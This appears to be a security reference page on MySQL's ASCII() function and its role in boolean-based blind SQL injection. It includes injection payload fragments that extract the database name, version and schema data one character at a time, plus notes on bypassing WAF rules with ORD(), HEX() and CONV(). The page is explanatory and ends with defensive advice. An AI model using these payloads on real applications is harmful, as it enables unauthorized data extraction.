MySQL ASCII() Function
MySQL’s ASCII() function returns the numeric (decimal) ASCII code of the leftmost character of a string. In blind SQL injection, it converts string comparison into numeric comparison — bypassing MySQL’s case-insensitive collation and enabling precise character-by-character data extraction.
Function behavior
SELECT ASCII('A'); -- 65
SELECT ASCII('a'); -- 97
SELECT ASCII('abc'); -- 97 (only first character processed)
SELECT ASCII(''); -- 0
SELECT ASCII(NULL); -- NULLThe case-sensitivity problem
MySQL’s default string comparison is case-insensitive (collation-dependent, typically utf8mb4_general_ci or latin1_swedish_ci). This means:
SELECT 'a' = 'A'; -- 1 (true) under case-insensitive collationFor boolean-based blind SQLi, this is a problem: you can’t distinguish uppercase from lowercase by direct comparison. ASCII() solves it by converting the character to its numeric code:
SELECT ASCII('a') = 97; -- 1 (true)
SELECT ASCII('A') = 97; -- 0 (false)Blind extraction pattern
Combine ASCII() with SUBSTRING() (1-indexed) to extract any string one character at a time:
-- Extract the first character of the current database name
AND ASCII(SUBSTRING(database(), 1, 1)) > 100--
-- Binary search on each character
AND ASCII(SUBSTRING(database(), 1, 1)) BETWEEN 97 AND 122-- -- lowercase?
AND ASCII(SUBSTRING(database(), 1, 1)) = 109-- -- 'm'?Full extraction loop (conceptual)
For each position i in target_string:
Binary search on ASCII(SUBSTRING(target, i, 1)):
> 128? > 192? > 224? ... until exact value found
Map ASCII code back to character
Typical targets: database(), user(), @@version, table names from information_schema.tables, column values.
Optimization with ORD()
ORD() is similar to ASCII() but handles multi-byte characters — it returns the character code of the leftmost character regardless of encoding. For UTF-8 targets, ORD() may be more reliable.
Defensive note
ASCII() is a core string function and cannot be restricted. Defense is parameterized queries — not WAF rules on function names, which are trivially bypassed (e.g., ORD(), HEX(), CONV()).
Sources
- MySQL 8.0 Reference Manual — String Functions and Operators
- PortSwigger — Blind SQL Injection
- SQL Injection — OWASP
See also
- sql-injection-attacks — the hub page for SQLi types and defense
- mysql-hexadecimal-strings — complementary MySQL technique
- test-for-sqli — detection methodology
- database-fingerprinting — identify MySQL before using ASCII()
- enumerate-database-schemas — where blind extraction is applied